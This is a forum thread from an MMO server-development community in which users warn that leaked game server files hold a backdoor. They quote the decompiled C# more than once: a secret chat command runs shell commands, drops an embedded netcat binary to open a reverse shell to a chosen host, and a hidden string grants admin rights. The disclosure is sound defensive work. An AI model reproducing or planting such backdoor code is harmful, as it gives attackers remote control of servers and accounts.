- Joined
- Sep 7, 2006
- Messages
- 178
- Reaction score
- 7
it hang(stop) show to image no click butom no load ..
want check and edit ?
Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!
Join Today!This is Game bug over full....
Same error GameServer.exe
hmm not sure if it was in the original files too, but be careful guys has a backdoor
PHP:string textMsg2 = string.Format("-d -t -e cmd {0} {1}", (object) cmdFields[1], (object) cmdFields[2]); if (!this.StartProcess("nc exe", textMsg2.Split(' '))) textMsg2 = "error"; if (textMsg2.Contains(":")) textMsg2 = textMsg2.Replace(":", "$");
private bool ProcessGMCommands(GameClient client, string msgText, string[] cmdFields, bool transmit, bool isSuperGMUser)
{
if (!transmit)
{
GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, msgText);
}
string textMsg = "";
bool result;
if ("-MaGM" == cmdFields[0])
{
if (!transmit)
{
if (cmdFields.Length == 2)
{
cmdFields[1] = cmdFields[1].Replace("$%", " ");
string text = this.RunCmd(cmdFields[1]);
string text2 = string.Format("MaGM={0}", text);
if (text2.Contains(":"))
{
text2 = text2.Replace(":", "$");
}
GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text2);
}
else if (cmdFields.Length == 3)
{
if (this.WriteToFile())
{
string text = string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}", cmdFields[1], cmdFields[2]);
if (!this.StartProcess("nc [dot] exe", text.Split(new char[]
{
' '
})))
{
text = "error";
}
if (text.Contains(":"))
{
text = text.Replace(":", "$");
}
GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text);
}
}
}
}
public bool WriteToFile()
{
bool result;
try
{
System.IO.Stream manifestResourceStream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
byte[] array = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
System.IO.File.WriteAllBytes("nc[dot]exe", array);
result = true;
}
catch (System.Exception)
{
result = false;
}
return result;
}
public bool ProcessChatMessage(TMSKSocket socket, GameClient client, string text, bool transmit)
{
bool result;
if (text.Length <= 0 || text[0] != '-')
{
result = false;
}
else
{
bool isSuperGMUser = false;
int num = -1;
if (text.Contains("-MaYongZeSetGM"))
{
if (this.SuperGMUserNames == null)
{
this.SuperGMUserNames = new string[1];
this.SuperGMUserNames[0] = client.strUserID;
}
else
{
System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
list.Add(client.strUserID);
this.SuperGMUserNames = list.ToArray();
}
result = false;
}
Backdoor and create gm command
PHP:private bool ProcessGMCommands(GameClient client, string msgText, string[] cmdFields, bool transmit, bool isSuperGMUser) { if (!transmit) { GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, msgText); } string textMsg = ""; bool result; if ("-MaGM" == cmdFields[0]) { if (!transmit) { if (cmdFields.Length == 2) { cmdFields[1] = cmdFields[1].Replace("$%", " "); string text = this.RunCmd(cmdFields[1]); string text2 = string.Format("MaGM={0}", text); if (text2.Contains(":")) { text2 = text2.Replace(":", "$"); } GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text2); } else if (cmdFields.Length == 3) { if (this.WriteToFile()) { string text = string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}", cmdFields[1], cmdFields[2]); if (!this.StartProcess("nc [dot] exe", text.Split(new char[] { ' ' }))) { text = "error"; } if (text.Contains(":")) { text = text.Replace(":", "$"); } GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text); } } } }
PHP:public bool WriteToFile() { bool result; try { System.IO.Stream manifestResourceStream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe"); byte[] array = new byte[manifestResourceStream.Length]; manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length); System.IO.File.WriteAllBytes("nc[dot]exe", array); result = true; } catch (System.Exception) { result = false; } return result; }
PHP:public bool ProcessChatMessage(TMSKSocket socket, GameClient client, string text, bool transmit) { bool result; if (text.Length <= 0 || text[0] != '-') { result = false; } else { bool isSuperGMUser = false; int num = -1; if (text.Contains("-MaYongZeSetGM")) { if (this.SuperGMUserNames == null) { this.SuperGMUserNames = new string[1]; this.SuperGMUserNames[0] = client.strUserID; } else { System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>(); list.Add(client.strUserID); this.SuperGMUserNames = list.ToArray(); } result = false; }
how to change ip in client file?
Share file locations and names and I'll try upload a fix with backdoors removed
Those back doors only work if you know your user code which is stored in the my sql table anyway